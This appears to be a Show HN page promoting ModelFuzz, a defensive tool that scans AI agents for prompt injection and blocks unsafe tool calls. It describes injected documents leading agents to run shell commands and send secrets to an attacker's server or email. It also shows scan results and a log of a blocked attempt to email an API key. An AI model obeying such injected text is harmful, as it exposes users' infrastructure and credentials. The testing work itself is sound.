Show HN: ModelFuzz – Open-source runtime guardrails for AI agents

The Threat

Prompt injection turns your agent's own tools against you.

A single poisoned document, email, or web page can hijack an LLM through indirect prompt injection, compromising LLM agent security at the source. The model thinks it's helping. It isn't.

!shell.run — arbitrary command execution on your infrastructure.

!http.post — silent exfiltration of secrets to an attacker's server.

!send_email — API keys and customer data leaked to [email protected].

!Prompt-level filters can't guarantee safety. Model behavior is non-deterministic.

Offense & Defense

Find the holes. Then seal them.

ModelFuzz ships with both halves of the security loop — a red-team scanner to expose vulnerable agents, and a decorator to shield them.

⚔ Offense

The Scanner

Red-team any OpenAI-compatible endpoint with deceptive prompt-injection payloads. See exactly which attacks trick your agent into calling a tool.

$ modelfuzz scan \ --endpoint http://localhost:11434/v1 \ --model qwen2.5

[🚨 VULNERABLE] Agent executed a tool [🚨 VULNERABLE] Confused-deputy bypass 3/5 payloads triggered a tool call.

🛡 Defense

The Shield

Wrap any tool with one decorator. Every argument is checked against your policies before the function runs — a violation raises before damage is done.

from modelfuzz import shield_tool

@shield_tool def send_email(to, subject, body): smtp.send(to, subject, body)

→ ModelFuzzBlockError on unsafe input

Live Interception

An attack, stopped in real time.

A prompt-injected agent tries to exfiltrate an API key. ModelFuzz catches it at the execution layer.

modelfuzz — blocked_attack.log

[🤖 LLM DECISION] The model was tricked by prompt injection! [🤖 LLM ARGUMENTS] {"to": "[email protected]", "body": "secret API_KEY sk-12345"}

[🛡️ MODEL FUZZ] Intercepting tool execution...

✅ MODEL FUZZ BLOCKED THE ATTACK! Reason: String contains sensitive keyword: 'secret'

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